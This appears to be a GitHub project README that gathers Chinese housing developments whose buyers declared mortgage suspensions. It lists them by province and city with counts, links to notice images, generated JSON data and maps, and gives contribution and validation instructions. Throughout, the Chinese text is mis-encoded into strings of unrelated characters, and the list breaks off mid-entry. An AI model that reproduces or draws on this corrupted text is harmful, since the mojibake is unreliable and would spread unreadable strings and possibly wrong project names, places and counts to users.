ๅๆฟๅบไธๅฎไผ็ปไบบๆฐ็พคไผไธไธชๆปกๆ็ไบคไปฃ๏ผ่ฟ้ไป
ไฝๆฐๆฎ็ป่ฎก๏ผๅๅฟๆ่ฟๆฟ่จ่ฎบ๏ผ*
[--> ๆฏไธปๅธญๅจ 1962 ๅนดไธๅไบบๅคงไผไธ็่ฎฒ่ฏ](https://www.marxists.org/chinese/maozedong/1968/5-016.htm)
[--> ไบๅธฎไบๅฉ็่จ่ฎจ่ฎบๅบ=>](https://github.com/WeNeedHome/SummaryOfLoanSuspension/discussions)
๏ผ้ตๅฎ่งๅๆ็ปๆฟๆฒปๆๆ๏ผไธ็ถไผๅๆฌกๅ
ณ้ญ discussionใ๏ผ
[--> ็ธๅ
ณๆณๅพไธๅฎกๅคๆกไพๆฏๆ](็ธๅ
ณๆณๅพไธๅฎกๅคๆกไพๆฏๆ.md)
## ้กน็ฎๅๅ
### ่ฎกๅ
[--> TODO](./TODO.md)
### ๆไบค
1. [--> 1. ๆฐๆ่ฏท็๏ผๅฆไฝๆไบค้กน็ฎไฟกๆฏ](PR-instruction.md)
2. [--> 2. ๆทปๅ ่ฏท็๏ผๆฐๅขๅ่ดท้กน็ฎ่ง่](CONTRIBUTING.md)
3. [--> 3. ๅฒ็ช่ฏท็๏ผๅฆไฝไฟฎๆญฃๆไบคๅฒ็ช](PR-resolving-conflicts.md)
ๅ
ถไธญ๏ผๆไบคไนๅ่ฏท็กฎไฟ้ช่ฏ่ฝ่ฟ๏ผ
```shell
sh ./run-validate.sh
```
### ๅผๅ
- [--> ๅ็ซฏ](development/backend/README.md)
- [--> ๅ็ซฏ](development/frontend/README.md)
1. :sparkles:
ๆฌ้กน็ฎๅทฒ้ๆCI๏ผๅฐ่ชๅจๆ ธ้ชๆฐๆฎ็็ป่ฎกๅ็กฎๆง๏ผๅ
ทไฝ่ง๏ผ[backend-nodejs](./development/backend/nodejs/README.md)
2. :rocket: 20220719
ๅทฒๅฎ็ฐๅผๅๅๆฐๆฎๆๅ๏ผไฝ่ฟ้่ฆๆดๅค็ๅๅ
ๆต่ฏไธๆ ทๆฌๆต่ฏ๏ผๅ
ทไฝ่ง๏ผ[็ฌ่ซๅผๅ่
ๆฅ้ไปค๐ #950](https://github.com/WeNeedHome/SummaryOfLoanSuspension/discussions/950)
3. :zap: 20220720 ๅ็บง readme ๆๆกฃ๏ผๅทฒๆฏๆ๏ผไธๆจ่๏ผๆข่ก็ผ่พๆฅผ็ไฟกๆฏ
4. 20220721๏ผ
1. :rocket: ๅขๅ ไบไธไธชๅบไบ dotnet ๅฎ็ฐ็ GitHub proxy๏ผ่ฏฆ่ง [#953](https://github.com/WeNeedHome/SummaryOfLoanSuspension/pull/953)
2. :sparkles: ๅ็บงไบๅฐๅพ๏ผๆพ็คบไธญๆๆฐดๅฐ๏ผๅจ readme ไธญ็ดๆฅๆฅ็ๅณๅฏ
## ๆฐๆฎๆฆ่ฆ
### ็ปๆๅๆฐๆฎ
- [ๆฅผ็ๅ่ดทๆฐๆฎ(FLAT็)](data/generated/properties-flat.json)๏ผๅซ็ๅธๅบใ้พๆฅ๏ผ
- [ๆฅผ็ๅ่ดทๆฐๆฎ(TREE็)](data/generated/properties-tree.json)๏ผๅซ็ๅธๅบใ้พๆฅ๏ผ
- [ๅๅธๅ่ดทๆฐๆฎ](data/generated/cities-for-visualization.json)๏ผๅซ็ๅธๅบใๆฅผ็็ป่ฎกๆฐใ็ป็บฌๅบฆ๏ผ
### ๅ
จๅฝๅ่ดทๅฐๅพ
<details>
<summary><b>็นๅปๆฅ็๏ผๅ
จๅฝๅ่ดทๅฐๅพ๏ผๆต
่ฒ๏ผ</b></summary>
<img src="data/generated/visualization-light-wwm.png" alt="visualization-light">
</details>
<details>
<summary><b>็นๅปๆฅ็๏ผๅ
จๅฝๅ่ดทๅฐๅพ๏ผๆทฑ่ฒ๏ผ</b></summary>
<img src="data/generated/visualization-dark-wwm.png" alt="visualization-dark">
</details>
<details>
<summary><b>็นๅปๆฅ็๏ผๅจ็บฟๅฐๅพ๏ผ</b></summary>
ๆไปฌๅไบไธไธชๅจ็บฟๅฐๅพ๏ผๆฅ่ฎฉไธๆนไพฟไฝฟ็จ GitHub ็ๆฎ้ไบบ็ๅฐ่ฟไบๆฐๆฎใ<br>
* ๅๅ๏ผhttps://building.lulaolu.com<br>
* ไปๅบ๏ผhttps://github.com/ritajie/incomplete-projects
ๆฌข่ฟๆฅไธบ่ฟไธชๅฐๅพๅ่ดก็ฎ๏ผ
</details>
### ๅ
ถไปๆฐๆฎๅ
ฌ็คบๅค
- ~~้กน็ฎๅ่ตทไบบ~~ (่ขซ ban ไบ๏ผ
- ~~[ๆๆฅๆๆกฃ](https://www.wolai.com/xutejcDgz9B3aTcrRCjxB1)~~ ๏ผ20220717ๅทฒๆ ๆฅ็ๆ้๏ผ
- ~~[Notion ๆฐๆฎๅบ](https://www.notion.so/21dab14200e2478eb91c49b68d16495f)~~ (
20220717ๅทฒ่ขซๆถๆๅ ้ค)
## ๅ็ๆฐๆฎ (ๆป่ฎก๏ผใ**349+**ใ๏ผๆไธ็บงๆผ้ณๅๅบ๏ผ
### ๅฎๅพฝ็ [ 2 ]
- **ๅ่ฅๅธ๏ผ2๏ผ๏ผ**
[ๆๅคงไธญๅฟ๏ผ8ๆ๏ผ](images/ๅฎๅพฝ็/ๅ่ฅๅธ/ๅ่ฅๆๅคงไธญๅฟๅ
จไฝไธไธปๅผบๅถๅ่ดทๅ็ฅไนฆ.png),
ๆฏ็ๅคงๅฆ
### ๅไบฌๅธ [ 4 ]
- **ๆ้ณๅบ๏ผ1๏ผ๏ผ**
[ไธไธ้ก๏ผๆพๆฆๆฏ่๏ผ](images/ๅไบฌๅธ/ๆ้ณๅบ/ๆพๆฆๆฏ่.jpeg)
- **ๆฟๅฑฑๅบ๏ผ1๏ผ๏ผ**
[้ฟๆตทๅพกๅข
ไธๆ](images/ๅไบฌๅธ/ๆฟๅฑฑๅบ/_ๅไบฌ้ฟๆตทๅพกๅข
ไธๆ)
- **็ณๆฏๅฑฑๅบ๏ผ1๏ผ๏ผ**
[็ฆงๆฆๅญฆๅบ๏ผๆฆๅไฝณ่๏ผ](images/ๅไบฌๅธ/็ณๆฏๅฑฑๅบ/็ฆงๆฆๅญฆๅบ.jpeg)
- **้ๅทๅบ๏ผ1๏ผ๏ผ**
[็ฆนๆดฒๆๅปทๆนพ๏ผๆๅปท้
่๏ผ](images/ๅไบฌๅธ/้ๅทๅบ/ๅไบฌ็ฆนๆดฒๆๅปทๆนพ.jpeg)
### ้ๅบๅธ [ 14 ]
- **ๅทดๅๅบ๏ผ2๏ผ๏ผ**
ๆๅคงๆฐๅๅๆ,
[ไธ่ยทๆฑๅ้ญ่](images/้ๅบๅธ/ๅทดๅๅบ/_ไธ่ยทๆฑๅ้ญ่)
- **็งๅฑฑๅบ๏ผ1๏ผ๏ผ**
[็งๅฑฑๅบ่ๅๅ๏ผ9ๆ๏ผ](images/้ๅบๅธ/็งๅฑฑๅบ/้ๅบ_็งๅฑฑ_่ๅๅ.jpg)
- **ๅคงๆธกๅฃๅบ๏ผ1๏ผ๏ผ**
[ๆๅคง้บๅฑฑๆน๏ผ9ๆ๏ผ](images/้ๅบๅธ/ๅคงๆธกๅฃๅบ/้ๅบๅธๅคงๆธกๅฃๅบๆๅคง้บๅฑฑๆนไธไธปๅผบๅถๅ่ดทๅ็ฅไนฆ.png)
- **้ปๆฑๅบ๏ผ2๏ผ๏ผ**
ๅฏๅ้ขๅฃซๅปถ็
ๅข,
ๆๅคงๅ้ฝ๏ผ7ๆ๏ผ
- **ๆฒๅชๅๅบ๏ผ1๏ผ๏ผ**
[ไฝณๅ
ไธยทๅค้ธฃๆฐดๅฒธ๏ผ9ๆ๏ผ](images/้ๅบๅธ/ๆฒๅชๅๅบ/้ๅบ_ไฝณๅ
ไธๅค้ธฃๆฐดๅฒธ.jpg)
- **ไธๅทๅบ๏ผ2๏ผ๏ผ**
[ๅคฉไปๆน้ป้ๆตทๅฒธ๏ผ10ๆ๏ผ](images/้ๅบๅธ/ไธๅทๅบ/้ๅบๅธไธๅทๅบๅคฉไปๆน้ป้ๆตทๅฒธๅ
จไฝไธไธปๅณๅฎไบ2022ๅนด10ๆ1ๆฅ่ตทๅผบๅถๅ่ดทๅ็ฅๅฝ.jpg),
ไธ่ๅไบๆ๏ผ12ๆ๏ผ
- **ๆธๅๅบ๏ผ5๏ผ๏ผ**
่่ๅ
ฌ้ฆ๏ผ9ๆ๏ผ,
ๆๅคง่ฝจ้ๆถไปฃไบๆ,
่ๅ
ๆชๆฅๅ,
[่ๅ้ๆบชๆ้ขไธไบไธๆ](images/้ๅบๅธ/ๆธๅๅบ/้ๅบๅธๆธๅๅบ่ๅ้ๆบชๆ้ขๅ
จไฝไธไธปๅผบๅถๅ่ดท้ขๅไนฆ.png),
[้ณๅ
ๅๆชๆฅๆฆไบๆ๏ผ7ๆ๏ผ](images/้ๅบๅธ/ๆธๅๅบ/้ณๅๆชๆฅๆฆไบๆ.jpg)
### ็ฆๅปบ็ [ 4 ]
- **็ฆๅทๅธ๏ผ4๏ผ๏ผ**
[ๆๅคงๅคฉ็ไบๆ](images/็ฆๅปบ็/็ฆๅทๅธ/็ฆๅทๅธๆๅคงๅคฉ็ไบๆๅ
จไฝไธไธปๅณๅฎไบ2022ๅนด8ๆๅผบๅถๅ่ดทๅ็ฅไนฆ.jpg),
[ๅนณๆฝญ็ปผๅๅฎ้ชๅบ้้กบๆฐๅ
ๆๅ๏ผ9ๆ๏ผ](images/็ฆๅปบ็/็ฆๅทๅธ/ๅนณๆฝญ็ปผๅๅฎ้ชๅบ้้กบๆฐๅ
ๆๅๅ
จไฝไธไธปๅณๅฎไบ2022ๅนด9ๆๅผบๅถๅ่ดทๅ็ฅไนฆ.jpg),
[ไธ่ๆณฐ็ฆพ้ไบๅฐ้๏ผ9ๆ๏ผ](images/็ฆๅปบ็/็ฆๅทๅธ/ๆฐธๆณฐ้ไบๅฐ้ๅไฝๆทไธไธป่ๅๅๅธๅ่ดทๅ็ฅไนฆ.png),
[ๅคฉๆณฝๅฅฅ่ฑๆถไปฃ๏ผ8ๆ๏ผ](images/็ฆๅปบ็/็ฆๅทๅธ/็ฆๅทๅธๅฅฅ่ฑๆถไปฃ.jpg)
### ็่็ [ 2 ]
- **ๅ
ฐๅทๅธ๏ผ1๏ผ๏ผ**
[ๅ
ฐๅทๆฐๅบ็ปฟๅฐๆบๆ
ง้่ๅๅ
ญๆๅบทๅ
ป่ฐท](images/็่็/ๅ
ฐๅทๅธ/ๅ
ฐๅทๆฐๅบ็ปฟๅฐๆบๆ
ง้่ๅๅ
ญๆๅบทๅ
ป่ฐท.jpeg)
- **ๅบ้ณๅธ๏ผ1๏ผ๏ผ**
ๅฝ้one๏ผ11ๆ๏ผ
### ๅนฟไธ็ [ 8 ]
- **ๅนฟๅทๅธ๏ผ1๏ผ๏ผ**
[ไธ็งๆตทไธๆๆ๏ผ9ๆ๏ผ](images/ๅนฟไธ็/ๅนฟๅทๅธ/gz001.png)
- **ๆญ้ณๅธ๏ผ1๏ผ๏ผ**
ๆๅคง็ฟก็ฟ ๅๅบญไบๆ
- **ๆฑๅคดๅธ๏ผ1๏ผ๏ผ**
ๆๅคง้็ขงๅคๆปฉๆนพ๏ผๅ
ซๆ๏ผ
- **ๆทฑๅณๅธ๏ผ3๏ผ๏ผ**
ไฝณๅ
ไธๆถไปฃๅคงๅฆ,
[ไฝณๅ
ไธๆจพไผดๅฑฑ](images/ๅนฟไธ็/ๆทฑๅณๅธ/sz001.jpg),
[ๅๆตทๅคฉๅข่ฑๅญ](images/ๅนฟไธ็/ๆทฑๅณๅธ/sz003.jpg)
- **ๆนๆฑๅธ๏ผ1๏ผ๏ผ**
[ๅดๅทๅฅฅๅญๅ ๅๅไธๆ](images/ๅนฟไธ็/ๆนๆฑๅธ/_ๅดๅทๅฅฅๅญๅ ๅๅไธๆ)
- **ไธญๅฑฑๅธ๏ผ1๏ผ๏ผ**
ๆณฐ็ฆพ้ๅฐๅบ
### ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ [ 24 ]
- **ๅๆตทๅธ๏ผ1๏ผ๏ผ**
[่ๅๆตทๆ ๅ
ฐๅฑฟไธๆ](images/ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ/ๅๆตทๅธ/ๅนฟ่ฅฟๅๆตทๅธ่ๅๆตทๆ ๅ
ฐๅฑฟไธๆไธไธป้ไฝไธญๆญข่ฟ่ดทๅ็ฅไนฆ.png)
- **ๅดๅทฆๅธ๏ผ1๏ผ๏ผ**
[ๅนฟ่ฅฟๆถ็ปฅๆๅคงๆๅๆ
ๆธธๅบทๅ
ปๅ](images/ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ/ๅดๅทฆๅธ/ๅนฟ่ฅฟๆถ็ปฅๆๅคงๆๅๆ
ๆธธๅบทๅ
ปๅๅ่ดทๅ็ฅไนฆ.png)
- **ๆกๆๅธ๏ผ7๏ผ๏ผ**
[ๆกๆๆๅคงๅ๏ผ10ๆ๏ผ](images/ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ/ๆกๆๅธ/ๆกๆๆๅคงๅ.jpg),
[ๆกๆ่ๅๆๆ
ๅN4ๅฐๅ](images/ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ/ๆกๆๅธ/_ๆกๆ่ๅๆๆ
ๅN4ๅฐๅ),
็ตๅทๆฑ้ไธ่ฑกๆฐๅ๏ผ11ๆ๏ผ,
[่ๅๆๆ
ๅN5ๅฐๅ๏ผ12ๆ๏ผ](images/ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ/ๆกๆๅธ/ๆกๆ่ๅๆๆ
ๅN5ๅฐๅๆฝไบๅบ่ฅฟ่ๅ
จไฝไธไธปๅผบๅถๅปถๆ่ฟ่ดทๅ็ฅไนฆ.png),
[่ๅๆๆ
ๅN7ๅฐๅ๏ผ10ๆ๏ผ](images/ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ/ๆกๆๅธ/ๆกๆ่ๅN7.png),
[ๅฑฑๆฐดๅฝ้
](images/ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ/ๆกๆๅธ/ๅฑฑๆฐดๅฝ้
ๅๅฑฑๆฐดๅๅบญๅ่ดทๅ็ฅๅฝ.jpg),
[ๅฑฑๆฐดๅๅบญ](images/ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ/ๆกๆๅธ/ๅฑฑๆฐดๅฝ้
ๅๅฑฑๆฐดๅๅบญๅ่ดทๅ็ฅๅฝ.jpg)
- **ๆณๅทๅธ๏ผ2๏ผ๏ผ**
[ๆๅคงๅไบๆใไธๆ](images/ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ/ๆณๅทๅธ/ๆณๅทๆๅคงไบไธๆๅ่ดท.jpg),
[้นฟๅฏจๅฟ้บๆนๅ
ฌๅญ้](images/ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ/ๆณๅทๅธ/้นฟๅฏจๅฟ้บๆนๅ
ฌๅญ้ๅ
จไฝไธไธปๅณๅฎไบ2022ๅนด8ๆ20ๆฅๅผบๅถๅ่ดทๅ็ฅไนฆ.jpg)
- **ๅๅฎๅธ๏ผ9๏ผ๏ผ**
[ไธ้ผ้ๅๅบ๏ผ9ๆ๏ผ](images/ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ/ๅๅฎๅธ/ๅๅฎไธ้ผ้ๅๅบ.png),
ๆฑๅฎไธ็บชๅ
ฌ้ฆ,
้็งๅ็ฟ ๅฑฑ,
่ๅ
้้ฆๆพๆนพ,
[ๅๅฎๆๅคงๅๅบไบๆ](images/ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ/ๅๅฎๅธ/ๅๅฎๆๅคงๅๅบไบๆๅ็ฅไนฆ.png),
่ๅ่ๅ
ฌ้ฆ11ใ12ๅทๆฅผ๏ผ8ๆ๏ผ,
[ไบ่ฑกๆพๅบญๅบๆฒ่](images/ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ/ๅๅฎๅธ/ๅๅฎๅธไบ่ฑกๆพๅบญๅบๆฒ่.png),
ไบ่ฑกๆพๅบญๅบ่ป่,
[ไธญ้ผๅ
ฌๅญๅบ](images/ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ/ๅๅฎๅธ/ๅนฟ่ฅฟ็ๅๅฎๅธไธญ้ผๅ
ฌๅญๅบๅ
จไฝไธไธปๅผบๅถๅ่ดทๅ็ฅไนฆ.png)
- **้ฆๅทๅธ๏ผ1๏ผ๏ผ**
ๆๅคงๅพกๆฏๅๅฒไบๆ
- **ๆขงๅทๅธ๏ผ1๏ผ๏ผ**
[ๆๅคง็ปฟๆดฒไบๆ๏ผ8ๆ๏ผ](images/ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ/ๆขงๅทๅธ/ๆขงๅทๆๅคงไบๆๅ่ดท.png)
- **็ๆๅธ๏ผ2๏ผ๏ผ**
[ๅๆตๅธไธ็ฏๆฐๅไบๆ](images/ๅนฟ่ฅฟๅฃฎๆ่ชๆฒปๅบ/็ๆๅธ/็ๆๅๆตๅธไธ็ฏๆฐๅๅ่ดท.png),
ไธญ้ผ็ปฟๅไธญๅฟ
### ่ดตๅท็ [ 2 ]
- **่ดต้ณๅธ๏ผ2๏ผ๏ผ**
ไธญ็ฏๅฝ้
้
ๆน,
[ไธญๅคฉยทๅพไนก](images/่ดตๅท็/่ดต้ณๅธ/_ไธญๅคฉยทๅพไนก)
### ๆฒณๅ็ [ 24 ]
- **ไฟๅฎๅธ๏ผ3๏ผ๏ผ**
[้ๅบๆณฐๅๆถฟๅท้ๆฆๅฑฑ](images/ๆฒณๅ็/ไฟๅฎๅธ/้ๅบๆณฐๅๆถฟๅท้ๆฆๅฑฑ้กน็ฎๅ
จไฝไธไธปๅผบๅถๅ่ดทๅ็ฅไนฆ.jpeg),
[้ๅบๆณฐๅๆถฟๅท็ดซๆฆๅฐๅบ](images/ๆฒณๅ็/ไฟๅฎๅธ/ๆถฟๅทๅธ้ๅบๆณฐๅ็ดซๆฆๅฐๅบ.jpeg),
ไธไธๅพกๆฏ
- **ๆฒงๅทๅธ๏ผ1๏ผ๏ผ**
[็ดซๆจพ้ฆๆฆญ](images/ๆฒณๅ็/ๆฒงๅทๅธ/ๆฒงๅทๅธ็ดซๆจพ้ฆๆฆญๅ
จไฝไธไธปๅผบๅถๅ่ดทๅ็ฅไนฆ.jpeg)
- **ๆฟๅพทๅธ๏ผ1๏ผ๏ผ**
็ถๅ
ๅบ
- **้ฏ้ธๅธ๏ผ2๏ผ๏ผ**
[ๆๅคง็ปฟๆดฒ](images/ๆฒณๅ็/้ฏ้ธๅธ/้ฏ้ธๆๅคง็ปฟๆดฒ.jpg),
[ๆๅคงๆฆ็ๆนพ](images/ๆฒณๅ็/้ฏ้ธๅธ/้ฏ้ธๆๅคง.jpg)
- **ๅปๅๅธ๏ผ5๏ผ๏ผ**
้ธฟๅคๅคๅฐๅไบๆ๏ผ8ๆ๏ผ,
้ธฟๅค็ๆณๅ,
[ๅๅคๅนธ็ฆยทๅๅญฃๅ
ฌ้ฆ](images/ๆฒณๅ็/ๅปๅๅธ/ๆฒณๅๅปๅๅธๅคงๅๅๆ่ชๆฒปๅฟๅๅญฃๅ
ฌ้ฆๅผบๅถๅ่ดทๅ็ฅไนฆ.jpeg),
ๅๅคๅนธ็ฆๅญ้ๅๅคง่ฟๆฒณๆบๆ
ง่กๅบ๏ผ้ฆๆฒณ๏ผ,
็ๆถยทๆชๆฅๆธฏ
- **็ณๅฎถๅบๅธ๏ผ7๏ผ๏ผ**
[ๅฎ่็ๆๅๅฏๆๅบ](images/ๆฒณๅ็/็ณๅฎถๅบๅธ/็ณๅฎถๅบๅธๅฎ่็ๆๅๅฏๆๅบๅ
จไฝ่ดงๆฌพไธไธปๅผบๅถๅ่ดงๅ็ฅไนฆ.jpeg),
ๆๅคงๆถไปฃๆฐๅ๏ผ8ๆ๏ผ,
ๆๅคงๆฆ้พๅฐ,
ๆๆถฆไธญๅคฎๅนฟๅบ,
[่ๅๅไธๆ๏ผ11ๆ๏ผ](images/ๆฒณๅ็/็ณๅฎถๅบๅธ/็ณๅฎถๅบ่ๅๅไธๆๅ
จไฝไธไธปๅณๅฎไบ2022ๅนด11ๆๅผบๅถๅ่ดทๅ็ฅไนฆ.png),
[็ณๅฎถๅบ่ตซ็ณๅบ](images/ๆฒณๅ็/็ณๅฎถๅบๅธ/็ณๅฎถๅบๅธ่ตซ็ณๅบๅ
จไฝ่ดงๆฌพไธไธปๅผบๅถๅ่ดงๅ็ฅไนฆ.png),
[ไผ็พๅฎๅถๅนฟๅบ](images/ๆฒณๅ็/็ณๅฎถๅบๅธ/_ไผ็พๅฎๅถๅนฟๅบ)
- **้ขๅฐๅธ๏ผ3๏ผ๏ผ**
ๆๅคงๆฆๅบ,
[ๅคฉๅฑฑ็ๆนไบๆ_ๅ็ๅฎถๅญ๏ผๅพ
ๅ่ดท๏ผ](images/ๆฒณๅ็/้ขๅฐๅธ/ๅคฉๅฑฑ็ๆนไบๆ_ๅ็ๅฎถๅญๅ่ดทๅ็ฅไนฆ.png),
ๆฐธๅบทไธๅฝๅ
- **ๅผ ๅฎถๅฃๅธ๏ผ2๏ผ๏ผ**
ๅฎฃๅๆๅคงๆปจๆฒณๅทฆๅฒธ,
ๅฎฃๅๆๅคง็ฟก็ฟ ๆนพ
### ๆฒณๅ็ [ 70 ]
- **ๅฎ้ณๅธ๏ผ3๏ผ๏ผ**
[ๆฒณๅๅฎ้ณๆๅคงๆชๆฅๅ๏ผ8ๆ๏ผ](images/ๆฒณๅ็/ๅฎ้ณๅธ/_ๆฒณๅๅฎ้ณๆๅคงๆชๆฅๅ),
ๆๅคงๆฆๅบ,
็ดซ่ๅ
ฌ้ฆ
- **้นคๅฃๅธ๏ผ1๏ผ๏ผ**
[ๆทๅฟๅปบไธๅ](images/ๆฒณๅ็/้นคๅฃๅธ/ๆฒณๅ้นคๅฃๅธๆทๅฟๅปบไธๅๅผบๅถๅ่ดทๅ็ฅไนฆ.jfif)
- **ๅผๅฐๅธ๏ผ3๏ผ๏ผ**
[ๅผๅฐๅๅคง่ตๆบๆชๅๅบไธๆ](images/ๆฒณๅ็/ๅผๅฐๅธ/ๅผๅฐๅๅคง่ตๆบๆชๅๅบไธๆๅ
จไฝไธไธปๅณๅฎไบ2022ๅนด8ๆไธๆฅๅผบๅถๅ่ดทๅ็ฅไนฆ.png),
[ๅผๅฐๅๅคง่ตๆบ็ดซๅขๅบไบๆ](images/ๆฒณๅ็/ๅผๅฐๅธ/ๅผๅฐๅๅคง่ตๆบ็ดซๅขๅบไบๆๅ
จไฝไธไธปๅณๅฎไบ2022ๅนด9ๆไธๆฅๅผบๅถๅ่ดทๅ็ฅไนฆ.png),
[้ๅผๆๅคงๆชๆฅๅไธๆ](images/ๆฒณๅ็/ๅผๅฐๅธ/้ๅผๆๅคงๆชๆฅๅไธๆๅ
จไฝไธไธปๅณๅฎไบ2022ๅนด8ๆไปฝๅผบๅถๅ่ดทๅ็ฅไนฆ.png)
- **ๆด้ณๅธ๏ผ1๏ผ๏ผ**
ๆๅคงไบๆนไธ้ก
- **ๆผฏๆฒณๅธ๏ผ1๏ผ๏ผ**
ๆๅคงๆฆๅบ
- **ๅ้ณๅธ๏ผ3๏ผ๏ผ**
ๆๅคงๅพกๅบ,
ๅ
ด่พพ็ๅบ,
้ณๅ
ๅไธฝๆฏ่ฑๅญ
- **ๅไธๅธ๏ผ2๏ผ๏ผ**
ๆๅคงๅ้ฝไบๆ,
ๅ้จๅไบๆ
- **ๆฐไนกๅธ๏ผ2๏ผ๏ผ**
ๅนณๅๆฐๅบๆๅคงไธๆๅๅๆน๏ผ8ๆ๏ผ,
[ๆฐไนกๅธ่ฑซ้ฃ็ไธๅ้ฆ๏ผ8ๆ๏ผ](images/ๆฒณๅ็/ๆฐไนกๅธ/ๆฐไนก่ฑซ้ฃ็ไธๅ้ฆ.jpg)
- **่ฅ้ณๅธ๏ผ1๏ผ๏ผ**
ๅฑ
ๆ่ฅฟ้ก
- **่ฎธๆๅธ๏ผ2๏ผ๏ผ**
้็ง้นฟ้ธฃๅธๆฏ,
่ๅ่งๆฒณๅฎธ้ข
- **้ๅทๅธ๏ผ45๏ผ๏ผ**
ๅฅฅๅญ่ชๆนๆนพ,
ๅฅฅๅญๆฆๅ๏ผๆฑๆฏๅญ๏ผ,
[็ๆตท่ชๅ](images/ๆฒณๅ็/้ๅทๅธ/็ๆตท่ชๅๅ็ฅไนฆ.png),
็ๆตทๆๅฟตๅ,
ๆตฉๅๆขงๆก่็ญ๏ผ7ๆ๏ผ,
ๆๅคงๅ,
ๆๅคงๅ
ป็่ฐท,
ๅ็บณ้พ็ๆนพ,
[้ๆฐดๅบๅบทๆกฅไธ้บๅญไบๆ](images/ๆฒณๅ็/้ๅทๅธ/้ๅทๅธ้ๆฐดๅบๅบทๆกฅไธ้บๅญไบๆๅ
จไฝไธไธปไบ2022ๅนด10ๆ1ๆฅๅผบๅถๅ่ดทๅ็ฅไนฆ.jpeg),
้ฆ่บ่ฝป็บบๅๆๆชๆฅๅ
ฌๅฏ,
[ไน่ฃ้พๅ](images/ๆฒณๅ็/้ๅทๅธ/ไน่ฃ้พๅ.jpeg),
ๅบทๆกฅ็็บๅญ,
[ๅบทๆกฅ้ฃไบๆบช๏ผ8ๆ)](images/ๆฒณๅ็/้ๅทๅธ/ๆฐ้้พๆนๅบทๆกฅ้ฃไบๆบช.jpg),
ๅบทๆกฅๆชๆฅๅ
ฌๅ
,
ๅบทๆกฅ้ฆๆบช้ก,
[ๅบทๆกฅๆฆๆบชๅญ](images/ๆฒณๅ็/้ๅทๅธ/้ๅทๅบทๆกฅๆฆๆบชๅญ.png),
ๅบทๆกฅ้
ๆบช้
่,
[ๅญ้ๅๅ
ฌๅญๆตท](images/ๆฒณๅ็/้ๅทๅธ/้ๅทๅญ้ๅๅ
ฌๅญๆตท.png),
[่ๅฎๆกๆบ้](images/ๆฒณๅ็/้ๅทๅธ/่ๅฎๆกๆบ้ๅ
จไฝไธไธปๅผบๅถๅ่ดทๅ็ฅไนฆ.png),
้พๆน้ฆ่บๅ้ซๅ
ญ,
้พๆนไธๅท๏ผ9ๆ๏ผ,
็ปฟๅฐๆปจๆนๅฝ้
ๅ,
็ปฟๅฐๅไบๅบ๏ผ7ๆ๏ผ,
[็ปฟๅฐๅไบๆๅ
ญๅบ๏ผ7ๆ๏ผ](images/ๆฒณๅ็/้ๅทๅธ/้ๅท็ปฟๅฐๅไบๆๅ
ญๅบๅ่ดทๅฃฐๆ.jpg),
็ปฟๅฐๆบฑๆฐดๅฐ้,
ๅ้จ็ฟ ๅญ,
ๅ้จๅคฉๅข,
ๅ้จ็ดซๅญ,
ๅ็ฆๅ,
ๆธ
ๅๅ๏ผ7ๆ๏ผ,
[่ๅไธญๅๅคง่งไบๆ](images/ๆฒณๅ็/้ๅทๅธ/้ๅทๅธ่ๅไธญๅๅคง่งไบๆๅ่ดทๅ็ฅไนฆ.png),
็ๆถฆๅๅฃนๅทๅ
ฌ้ฆ,
[็ไธๅง้พๅไธๆ๏ผ10ๆ๏ผ](images/ๆฒณๅ็/้ๅทๅธ/้ๅทๅธไธญๅๅบ็ไธๅง้พๅไธๆ.jpg),
[ๆณฐๅฑฑ่ชๆฏๆ่ชๅญ](images/ๆฒณๅ็/้ๅทๅธ/ๆณฐๅฑฑ่ชๆฏๅ
จไฝไธไธปๅณๅฎไบ2022ๅนด9ๆๅผบๅถๅ่ดทๅ็ฅไนฆ.jpeg),
[ๅจ้พๅฐๅ13ๅทๆฅผ๏ผ10ๆๅบไธๆ็ๅฐพไธๅนดๅ่ดท๏ผ](images/ๆฒณๅ็/้ๅทๅธ/้ๅทๆฐ้ๅจ้พๅฐๅ13ๅทๆฅผๅ
จไฝไธไธปๅผบๅถๅ่ดทๅ็ฅไนฆ.jpeg),
[ๆฐ้ๅธๆตฉๅๅ](images/ๆฒณๅ็/้ๅทๅธ/ๆตฉๅๅๅ็ฅไนฆ.png),
[้ซ่้ๆฐด่งๅ](images/ๆฒณๅ็/้ๅทๅธ/้ๅทๅธ้ซ่้ๆฐด่งๅ.jpg),
[้ซ่ๅๅ3ๅท้ขไฝๅฎ
](images/ๆฒณๅ็/้ๅทๅธ/้ๅท้ซ่ๅๅ3ๅท้ขไฝๅฎ
้กน็ฎ.png),
ๆฐธๆ็ๆณไธ็ไธๆ๏ผ9ๆ๏ผ,
[่ฑซๅ็ฝ้นญๆบๆฅๆไธๆ](images/ๆฒณๅ็/้ๅทๅธ/้ๅท่ช็ฉบๆธฏๅบ่ฑซๅ็ฝ้นญๆบๆฅๆไธๆๅ
จไฝไธไธปๅ่ดทๅ็ฅไนฆ.jpg),
[ๆญฃๅ็ๅท้ข](images/ๆฒณๅ็/้ๅทๅธ/_ๆฐ้ๅธๆญฃๅ๏ผ้พๆน๏ผ็ๅท้ข),
้่ฅฟ้ซ่ๅๅฎถๅๆ๏ผ7ๆ๏ผ,
[้ๅท่ๅๅพกๆนๅฎธ้ขไธๆ](images/ๆฒณๅ็/้ๅทๅธ/้ๅท่ๅๅพกๆนๅฎธ้ขไธๆ.png),
[้ๅทๆฐ็ฐๅๆนๅ
้ไบๆ(ๅๆดๆๆ่)](images/ๆฒณๅ็/้ๅทๅธ/้ๅทๆฐ็ฐๅๆนๅ
